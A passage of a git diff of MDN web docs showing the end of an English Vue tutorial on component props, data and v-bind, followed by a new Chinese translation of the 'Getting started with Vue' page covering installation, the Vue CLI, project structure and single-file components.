serve as a record of whether the checkbox is checked or not. However, it's important that props serve as one-way data binding — a component should never alter the value of its own props. There are a lot of reasons for this. In part, components editing props can make debugging a challenge. If a value is passed to multiple children, it could be hard to track where the changes to that value were coming from. In addition, changing props can cause components to re-render. So mutating props in a component would trigger the component to rerender, which may in-turn trigger the mutation again.</p> + +<p>To work around this, we can manage the <code>done</code> state using Vue’s <code>data</code> property. The <code>data</code> property is where you can manage local state in a component, it lives inside the component object alongside the <code>props</code> property and has the following structure:</p> + +<pre class="brush: js notranslate">data() { + return { + key: value + } +}</pre> + +<p>You'll note that the <code>data</code> property is a function. This is to keep the data values unique for each instance of a component at runtime — the function is invoked separately for each component instance. If you declared data as just an object, all instances of that component would share the same values. This is a side-effect of the way Vue registers components and something you do not want.</p> + +<p>You use <code>this</code> to access a component's props and other properties from inside data, as you may expect. We'll see an example of this shortly.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Because of the way that <code>this</code> works in arrow functions (binding to the parent’s context), you wouldn’t be able to access any of the necessary attributes from inside <code>data</code> if you used an arrow function. So don’t use an arrow function for the <code>data</code> property.</p> +</div> + +<p>So let's add a <code>data</code> property to our <code>ToDoItem</code> component. This will return an object containing a single property that we'll call <code>isDone</code>, whose value is <code>this.done</code>.</p> + +<p>Update the component object like so:</p> + +<pre class="brush: js notranslate">export default { + props: { + label: { required: true, type: String }, + done: { default: false, type: Boolean } + }, + data() { + return { + isDone: this.done + }; + } +};</pre> + +<p>Vue does a little magic here — it binds all of your props directly to the component instance, so we don’t have to call <code>this.props.done</code>. It also binds other attributes (<code>data</code>, which you’ve already seen, and others like <code>methods</code>, <code>computed</code>, etc.) directly to the instance. This is, in part, to make them available to your template. The down-side to this is that you need to keep the keys unique across these attributes. This is why we called our <code>data</code> attribute <code>isDone</code> instead of <code>done</code>.</p> + +<p>So now we need to attach the <code>isDone</code> property to our component. In a similar fashion to how Vue uses <code>\{{}}</code> expressions to display JavaScript expressions inside templates, Vue has a special syntax to bind JavaScript expressions to HTML elements and components: <code><strong>v-bind</strong></code>. The <code>v-bind</code> expression looks like this:</p> + +<pre class="notranslate">v-bind:attribute="expression"</pre> + +<p>In other words, you prefix whatever attribute/prop you want to bind to with <code>v-bind:</code>. In most cases, you can use a shorthand for the <code>v-bind</code> property, which is to just prefix the attribute/prop with a colon. So <code>:attribute="expression"</code> works the same as <code>v-bind:attribute="expression"</code>.</p> + +<p>So in the case of the checkbox in our <code>ToDoItem</code> component, we can use <code>v-bind</code> to map the <code>isDone</code> property to the <code>checked</code> attribute on the <code><input></code> element. Both of the following are equivalent:</p> + +<pre class="brush: html notranslate"><input type="checkbox" id="todo-item" v-bind:checked="isDone" /> + +<input type="checkbox" id="todo-item" :checked="isDone" /></pre> + +<p>You're free to use whichever pattern you would like. It's best to keep it consistent though. Because the shorthand syntax is more commonly used, this tutorial will stick to that pattern.</p> + +<p>So let's do this. Update your <code><input></code> element now to replace <code>checked="false"</code> with <code>:checked="isDone"</code>.</p> + +<p>Test out your component by passing <code>:done="true"</code> to the <code>ToDoItem</code> call in <code>App.vue</code>. Note that you need to use the <code>v-bind</code> syntax, because otherwise <code>true</code> is passed as a string. The displayed checkbox should be checked.</p> + +<pre class="brush: js notranslate"><template> + <div id="app"> + <h1>My To-Do List</h1> + <ul> + <li> + <to-do-item label="My ToDo Item" :done="true"></to-do-item> + </li> + </ul> + </div> +</template> +</pre> + +<p>Try changing <code>true</code> to <code>false</code> and back again, reloading your app in between to see how the state changes.</p> + +<h2 id="Giving_Todos_a_unique_id">Giving Todos a unique id</h2> + +<p>Great! We now have a working checkbox where we can set the state programmatically. However, we can currently only add one <code>ToDoList</code> component to the page because the <code>id</code> is hardcoded. This would result in errors with assistive technology since the <code>id</code> is needed to correctly map labels to their checkboxes. To fix this, we can programmatically set the <code>id</code> in the component data.</p> + +<p>We can use the <a href="https://www.npmjs.com/package/lodash">lodash</a> package's <code>uniqueid()</code> method to help keep the index unique. This package exports a function that takes in a string and appends a unique integer to the end of the prefix. This will be sufficient for keeping component <code>id</code>s unique.</p> + +<p>Let’s add the package to our project with npm; stop your server and enter the following command into your terminal:</p> + +<pre class="brush: bash notranslate">npm install --save lodash.uniqueid</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: If you prefer yarn, you could instead use <code>yarn add lodash.uniqueid</code>.</p> +</div> + +<p>We can now import this package into our <code>ToDoItem</code> component. Add the following line at the top of <code>ToDoItem.vue</code>’s <code><script></code> element:</p> + +<pre class="brush: js notranslate">import uniqueId from 'lodash.uniqueid';</pre> + +<p>Next, add add an <code>id</code> field to our data property, so the component object ends up looking like so (<code>uniqueId()</code> returns the specified prefix — <code>todo-</code> — with a unique string appended to it):</p> + +<pre class="brush: js notranslate">import uniqueId from 'lodash.uniqueid'; + +export default { + props: { + label: { required: true, type: String }, + done: { default: false, type: Boolean } + }, + data() { + return { + isDone: this.done, + id: uniqueId('todo-') + }; + } +};</pre> + +<p>Next, bind the <code>id</code> to both our checkbox’s <code>id</code> attribute and the label’s <code>for</code> attribute, updating the existing <code>id</code> and <code>for</code> attributes as shown:</p> + +<pre class="brush: js notranslate"><template> + <div> + <input type="checkbox" :id="id" :checked="isDone" /> + <label :for="id">\{{label}}</label> + </div> +</template></pre> + +<h2 id="Summary">Summary</h2> + +<p>And that will do for this article. At this point we have a nicely-working <code>ToDoItem</code> component that can be passed a label to display, will store its checked state, and will be rendered with a unique <code>id</code> each time it is called. You can check if the unique <code>id</code>s are working by temporarily adding more <code><to-do-item></to-do-item></code> calls into <code>App.vue</code>, and then checking their rendered output with your browser's DevTools.</p> + +<p><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">Now we're ready to add multiple <code>ToDoItem</code> components to our App. In our next article we'll look at adding a set of todo item data to our <code>App.vue</code> component, which we'll then loop through and display inside <code>ToDoItem</code> components using the <code>v-for</code> directive. </span></p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html new file mode 100644 index 0000000000..c4ad60834a --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html @@ -0,0 +1,288 @@ +--- +title: 开始使用 Vue +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">现在让我们介绍Vue,我们的第三个框架。在本文中,我们将了解一点Vue的背景知识,了解如何安装它并创建一个新项目,研究整个项目和单个组件的高级结构,了解如何在本地运行项目,并为开始构建示例做好准备。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>熟悉核心的HTML, CSS和JavaScript语言,了解终端/命令行。</p> + + <p>Vue组件设计成为由管理应用数据的JavaScript对象和映射到底层DOM结构的html模板语法组成的混合体。安装和使用的一些更高级的功能Vue(如单文件组件或渲染函数),你将需要一个安装了node和npm的终端。</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>设置本地Vue开发环境,创建一个starter应用程序,并了解它是如何工作的基础知识。</td> + </tr> + </tbody> +</table> + +<h2 id="一个更简洁的框架——Vue">一个更简洁的框架——Vue</h2> + +<p>Vue是一个现代JavaScript框架提供了有用的设施渐进增强——不像许多其他框架,您可以使用Vue增强现有的HTML。这使您可以使用Vue作为<a href="https://mdn.mozillademos.org/files/17240/vue-default-app.png">jQuery</a>等库的临时替代品。</p> + +<p>也就是说,您还可以使用Vue编写整个单页应用程序(SPAs)。这允许您创建标记完全由Vue管理,可以提高开发人员的经验和性能在处理复杂的应用程序。当你需要的时候它还允许您利用其他库对客户端路由和状态进行管理。此外,Vue需要“中间地带”的方法工具客户端路由和状态管理。虽然Vue核心团队维护了建议的函数库,但他们并没有直接捆绑到 Vue 里。这样你就可以选择一个其他路由/状态管理库,来更好地适应您的应用程序。</p> + +<p>除了允许您逐步将Vue集成到您的应用程序中,Vue还提供了一种渐进的方式编写标记。像大多数框架,Vue通过组件允许您创建可重用块标记。大多数时候,Vue组件是使用一个特殊的HTML模板的语法写的。当您需要比HTML语法允许的更多的控制时,您可以编写JSX或纯JavaScript函数来定义组件。</p> + +<p>在学习本教程的过程中,您可能希望在其他选项卡中打开<a href="https://cn.vuejs.org/v2/guide/index.html">Vue指南</a>和<a href="https://cn.vuejs.org/v2/api/index.html">API文档</a>,这样,如果您想了解更多信息,可以参考它们。</p> + +<p>要想对Vue和许多其他框架进行比较(但可能存在偏差),请参阅Vue文档:<a href="https://cn.vuejs.org/v2/guide/comparison.html">与其他框架的比较。</a></p> + +<h2 id="安装Vue">安装Vue</h2> + +<p>要在现有站点中使用Vue,可以通过<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/script"><script></a>元素在页面中使用。这使您可以开始在现有站点上使用Vue,这就是Vue引以为傲的渐进式框架的原因。当使用JQuery这样的库将现有项目迁移到Vue时,这是一个很好的选择。通过这种方法,您可以使用Vue的许多核心功能,例如属性、自定义组件和数据管理。</p> + +<ul> + <li> + <p>开发环境版本,包含了有帮助的命令行警告</p> + + <pre class="brush: html notranslate"><script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script></pre> + </li> + <li> + <p>生产环境版本,优化了尺寸和速度,建议您在站点上包含Vue时指定版本号,这样任何框架更新都不会影响您的网站。</p> + + <pre class="brush: html notranslate"><script src="https://cdn.jsdelivr.net/npm/vue@2"></script></pre> + </li> +</ul> + +<p>然而,这种方法有一些局限性。要构建更复杂的应用程序,您需要使用 <a href="https://www.npmjs.com/package/vue">Vue NPM package</a>。这将允许您使用Vue的高级功能并利用WebPack等捆绑包。为了使使用Vue构建应用程序更容易,有一个CLI来简化开发过程。要使用npm软件包和CLI,您需要:</p> + +<ol> + <li>Node.js 8.11+ installed.</li> + <li>npm or yarn.</li> +</ol> + +<div class="blockIndicator note"> +<p><strong>注意:如果您还没有安装上述软件,有关安装NPM和Node.js的方法在这里</strong></p> +</div> + +<p>安装CLI,终端中运行以下命令:</p> + +<pre class="brush: bash notranslate">npm install --global @vue/cli</pre> + +<p>如果您使用 yarn:</p> + +<pre class="brush: bash notranslate">yarn global add @vue/cli</pre> + +<p>安装之后,要初始化一个新项目,可以在要创建项目的目录中打开一个终端,并运行vue create <project-name>。CLI将会给你一个可以使用的项目配置列表。有一些预设的,你可以按照自己的需求。这些选项允许您配置TypeScript,linting,vue-router,testing,和更多。</p> + +<ul> + <li> + <p>下面我们来看看使用这个。</p> + </li> +</ul> + +<h2 id="初始化一个新项目">初始化一个新项目</h2> + +<p>为了探索Vue中各种各样的特征,我们将建立一个简单的任务清单应用。我们将会使用Vue脚手架工具去创建一个新的应用框架并在上面搭建我们的应用。请按照以下步骤:</p> + +<ol> + <li>在终端,用cd命令进入你想要创建示例的文件夹,然后执行 <code>vue create moz-todo-vue.</code></li> + <li>使用方向键然后 <kbd>Enter</kbd> 选择 "Manually select features(手动选择功能)" 选项.</li> + <li>你会看到的第一个菜单允许你选择你想要包含在你的项目中的功能。确保 "Babel" 和 "Linter / Formatter" 这两项是被选中的. 如果他们没有被选中,使用方向键切换,空格键选中,一旦他们被选中按下 <kbd>Enter</kbd> 继续进行。</li> + <li>接下来你要为linter / formatter选择一个配置。切换选中"Eslint with error prevention only"然后再次按下 <kbd>Enter</kbd> 。这样辅助我们捕获常见的并且不自以为是的错误。</li> + <li>然后你会被询问需要那种自动化的 lint,选择 "Lint on save",这样我们在项目中保存文件的时候就会自动检查错误。按下 <kbd>Enter</kbd> 继续。</li> + <li>接着你将需要选择把配置文件放在哪里。"In dedicated config files" 这个选项会把你的配置文件比如 ESLint 单独放在一个文件里。另一个选项 "In package.json" 则会把配置放进项目的 package.json 文件里。选择 "In dedicated config files" 然后使劲敲下 <kbd>Enter</kbd>。</li> + <li>最后会问你,是否选择把本次的选择作为将来的一个预设配置(Save this as a preset for future projects?),这个就安全由你自己决定了。如果你想把本次的配置作为一个预设配置并且以后想再次使用的话,按下 <kbd>y</kbd> , 否则按下 <kbd>n</kbd>。</li> +</ol> + +<p>然后脚手架工具就开始构建项目,并且安装所需的依赖。</p> + +<p>如果你以前从来没有使用过 Vue CLI 的话,你可能还会遇到其他的问题,会让你选择包管理器,你可以通过方向键选择一个你喜欢的,然后从此时起 Vue CLI 就会默认使用你这次选择的包管理器。如果你只后又想换用其他包管理器,你也可以在创建项目执行 <code>vue create</code> 的时候传入参数 <code>--packageManager=<package-manager></code>。比如你之前已经选择了 yarn,而你现在在创建 <code>moz-todo-vue</code> 示例程序的时候可以通过执行 <code>vue create moz-todo-vue --packageManager=npm</code> 来使用 npm 包管理器。</p> + +<div class="blockIndicator note"> +<p><strong>注意:我们这里并没有列举所有的配置项,如果你想了解更多信息可以访问</strong> <a href="https://cli.vuejs.org/">Vue 官方文档</a>的 CLI 部分。</p> +</div> + +<h2 id="项目结构">项目结构</h2> + +<p>如果前面的步骤都执行顺利的话,脚手架工具应该已经在你的项目中创建了一系列的文件和目录,我们接下来列举一些比较重要的:</p> + +<ul> + <li><code>.eslintrc.js</code>: 这个是 <a href="https://eslint.org/">eslint</a> 的配置文件,可以通过它来管理你的校验规则。</li> + <li><code>babel.config.js</code>: 这个是 <a href="https://babeljs.io/">Babel</a> 的配置文件,可以在开发中使用 JavaScript 的新特性,并且将其转换为在生产环境中可以跨浏览器运行的旧语法代码。你也可以在这个里配置额外的 babel 插件。 </li> + <li><code>.browserslistrc</code>: 这个是 <a href="https://github.com/browserslist/browserslist">Browserslist</a> 的配置文件,可以通过它来控制需要对哪些浏览器进行支持和优化。</li> + <li><code>public</code>: 这个目录包含一些在 <a href="https://webpack.js.org/">Webpack</a> 编译过程中没有加工处理过的文件(有一个例外:index.html 会有一些处理)。 + <ul> + <li><code>favicon.ico</code>: 这个是项目的图标,当前就是一个 Vue 的 logo。</li> + <li><code>index.html</code>: 这是应用的模板文件,Vue 应用会通过这个 HTML 页面来运行,也可以通过 lodash 这种模板语法在这个文件里插值。 + <div class="note"><strong>注意:这个不是负责管理页面最终展示的模板,而是管理 Vue 应用之外的静态 HTML 文件,一般只有在用到一些高级功能的时候才会修改这个文件。</strong></div> + </li> + </ul> + </li> + <li><code>src</code>: 这个是 Vue 应用的核心代码目录 + <ul> + <li><code>main.js</code>:这是应用的入口文件。目前它会初始化 Vue 应用并且制定将应用挂载到 <code>index.html</code> 文件中的哪个 HTML 元素上。通常还会做一些注册全局组件或者添额外的 Vue 库的操作。</li> + <li><code>App.vue</code>:这是 Vue 应用的根节点组件,往下看可以了解更多关注 Vue 组件的信息。</li> + <li><code>components</code>:这是用来存放自定义组件的目录,目前里面会有一个示例组件。</li> + <li><code>assets</code>:这个目录用来存放像 CSS 、图片这种静态资源,但是因为它们属于代码目录下,所以可以用 webpack 来操作和处理。意思就是你可以使用一些预处理比如 <a href="https://sass-lang.com/">Sass/SCSS</a> 或者 <a href="https://stylus-lang.com/">Stylus</a>。</li> + </ul> + </li> +</ul> + +<div class="blockIndicator note"> +<p><strong>注意:根据创建项目时候的一些配置项,可能会有一些其他的预设目录(例如,如果你选择了路由配置,会看到一个 <code>views</code> 的文件夹)</strong></p> +</div> + +<h2 id=".vue_文件(单文件组件)">.vue 文件(单文件组件)</h2> + +<p>就像很多其他的前端框架一样,组件是构建 Vue 应用中非常重要的一部分。组件可以把一个很大的应用程序拆分为独立创建和管理的不相关区块,然后彼此按需传递数据,这些小的代码块可以方便更容易的理解和测试。</p> + +<p>在其他框架都鼓励把模板、逻辑和样式的代码区分成不同文件的时候,Vue 却反其道行之。使用<a href="https://vuejs.org/v2/guide/single-file-components.html">单文件组件</a>,Vue 把模板、相关脚本和 CSS 一起整合放在 <code>.vue</code> 结尾的一个单文件中。这些文件最终会通过 JS 打包工具(例如 Webpack)处理,这意味着你可以使用构建时工具。你可以使用比如 Babel、TypeScript、SCSS 等来创建更多复杂的组件。</p> + +<p> 另外,使用 Vue CLI 创建的项目被配置为在开箱即用的情况下借助 Webpack 使用 .<code>vue </code>文件。实际上,如果您查看我们使用 CLI 创建的项目中的 <code>src</code> 文件夹,您会看到第一个<code>.vue</code> 文件:<code>App.vue</code>。</p> + +<p>现在我们来开始探讨。</p> + +<h3 id="App.vue">App.vue</h3> + +<p>打开 <code>App.vue</code> 文件,可以看到有三部分组成 <code><template></code>, <code><script></code>, and <code><style></code>,分别包含了组件的模板、脚本和样式相关的内容。所有的单文件组件都是这种类似的基本结构。</p> + +<p><code><template></code> 包含了所有的标记结构和组件的展示逻辑。template 可以包含任何合法的 HTML,以及一些我们接下来要讲的 Vue 特定的语法。</p> + +<div class="blockIndicator note"> +<p><strong>注意:通过设置 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><template></span></font> 标签的 <code>lang</code> 属性,例如可以通过设置 </strong><code><template lang="pug"></code> 就可以在使用 Pub 模板来替代标准 HTML。在本教程中我们依然会使用标准 HTML,但是这种方式可行你还是值得知道。</p> +</div> + +<p><code><script></code> 包含组件中所有的非显示逻辑,最重要的是, <code><script></code> 标签需要默认导出一个 JS 对象。该对象是您在本地注册组件、定义属性、处理本地状态、定义方法等的地方。在构建阶段这个对象会被处理和转换(包含 template 模板)成为一个有 <code>render()</code> 函数的 Vue 组件。</p> + +<p dir="ltr" id="tw-target-text">对于 <code>App.vue</code>,我们的默认导出将组件的名称设置为 <code>app</code> ,并通过将 <code>HelloWorld</code> 组件添加到 <code>components</code> 属性中来注册它。以这种方式注册组件时,就是在本地注册。本地注册的组件只能在注册它们的组件内部使用,因此您需要将其导入并注册到使用它们的每个组件文件中。这对于拆包 / tree shaking(译者注:一种减小包体积优化方式)很有用,因为并不是应用程序中的每个页面都不一定需要每个组件。</p> + +<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'; + +export default { + name: 'app', + components: { + //You can register components locally here. + HelloWorld + } +};</pre> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 如果想要使用 <a href="https://www.typescriptlang.org/">TypeScript</a> 语法,你应该将 <code><script></code> 标签的 <code>lang</code> 属性设置为 <code><script lang="ts"></code> 来告诉编译器你要使用 TypeScript。</p> +</div> + +<p>组件的 CSS 应该写在 <code><style></code> 标签里,如果你添加了 <code>scoped</code> 属性,形如 <code><style scoped></code> ,Vue 会把样式的范围限制到单文件组件的内容里。这个类似 CSS-in-JS 的解决方案,不过允许你书写文本格式的 CSS了。</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 如果通过 CLI 创建项目时选择了 CSS 预处理器,则可以将 <code>lang</code> 属性添加到 <code><style></code> 标签中,以便 Webpack 可以在构建时处理内容。例如,<code><style lang ="scss"></code> 将允许您在样式信息中使用 SCSS 语法。</p> +</div> + +<h2 id="本地运行程序">本地运行程序</h2> + +<p>Vue CLI 带有内置的开发服务器。这样一来,您就可以在本地运行您的应用程序,这样就可以轻松对其进行测试,而无需自己配置服务器。 CLI 会以 npm 脚本的形式将 <code>serve</code> 命令添加到项目的 <code>package.json </code>文件中,因此您可以轻松地运行它。</p> + +<p dir="ltr" id="tw-target-text">在您的终端中,尝试运行 <code>npm run serve</code>(或者如果希望使用 yarn ,则运行 <code>yarn serve</code> )。您的终端应输出类似以下内容的内容:</p> + +<pre class="notranslate">INFO Starting development server... +98% after emitting CopyPlugin + + DONE Compiled successfully in 18121ms + + App running at: + - Local: <http://localhost:8080/> + - Network: <http://192.168.1.9:8080/> + + Note that the development build is not optimized. + To create a production build, run npm run build.</pre> + +<p>If you navigate to the “local” address in a new browser tab (this should be something like <code>http://localhost:8080</code> as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.</p> + +<p>如果在浏览器新选项卡打开“本地”地址(如上所述,该地址应类似于<code>http://localhost:8080</code>,但可能会因设置而异),您应该会看到您的应用。现在,它应该包含欢迎消息,Vue文档的链接,使用 CLI 初始化应用程序时添加的插件的链接,以及指向Vue社区和生态系统的其他有用链接。</p> + +<p><img alt="default vue app render, with vue logo, welcome message, and some documentation links" src="https://mdn.mozillademos.org/files/17240/vue-default-app.png" style="border-style: solid; border-width: 1px; height: 779px; width: 1600px;"></p> + +<h2 id="做一些改动">做一些改动</h2> + +<p>对应用作出第一步改动——删除 Vue logo。打开 <code>App.vue</code> 文件,在 template 部分删除 <code><img></code> 元素。</p> + +<pre class="brush: html notranslate"><span class="author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z8h7gz67ziz76zcz77zz80zz71zncfz69zz69ziaz82zz71zz72zhz77zz122zz90z14mcyd"><img alt="Vue logo" src="./assets/logo.png"></span></pre> + +<p>如果你的服务器还在正常运行,应该可以看到 logo 几乎即时从之前渲染出来的页面中消失。我们再把 <code>HelloWorld</code> 组件也删掉。</p> + +<p>线删除下面这一整行:</p> + +<pre class="brush: html notranslate"><HelloWorld msg="Welcome to Your Vue.js App"/></pre> + +<p>如果你在这个时候保存 <code>App.vue</code> 文件,渲染好的应用会因为我们注册了组件但没有使用而抛出一个错误。我们还需要在 <code><script></code> 中将引入和注册组件的那几行删掉:</p> + +<p>现在把下面这几行删掉吧:</p> + +<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'</pre> + +<pre class="brush: js notranslate">components: { + HelloWorld +}</pre> + +<p>渲染好的应用这时候将不再显示错误了,只有一个空页面,因为我们的 <code><template></code> 里没有一个可见的内容。</p> + +<p>我们接下来要创建一个任务清单的应用,在 <code><div id="app"></code> 中新增一个 <code><h1></code> 标签,并将标题文案设为 "To-Do List",参考如下:</p> + +<pre class="brush: html notranslate"><template> + <div id="app"> + <h1>To-Do List</h1> + </div> +</template></pre> + +<p><code>App.vue</code> 将会如期展示标题。</p> + +<h2 id="总结">总结</h2> + +<p>让我们在这里暂时告一段落。我们已经了解了 Vue 背后的一些想法,为示例应用程序创建了一些脚手架,使其可以运行,检查并进行了一些初步更改。</p> + +<p dir="ltr">在不进行基本介绍的情况下,我们现在将进一步研究并构建示例应用程序,这是一个基本的任务清单应用程序,它允许我们存储项目列表,完成后将其选中,并按所有、已完成和未完成待办事项来过滤。</p> + +<p dir="ltr">在下一篇文章中,我们将构建第一个自定义组件,并研究一些重要概念,例如将 prop 传递到其中和保存其 data 状态。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">客户端架构介绍</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">开始使用React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">开始我们的 React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">组件化我们的 React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events 和 state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React 资源</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">开始使用 Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a 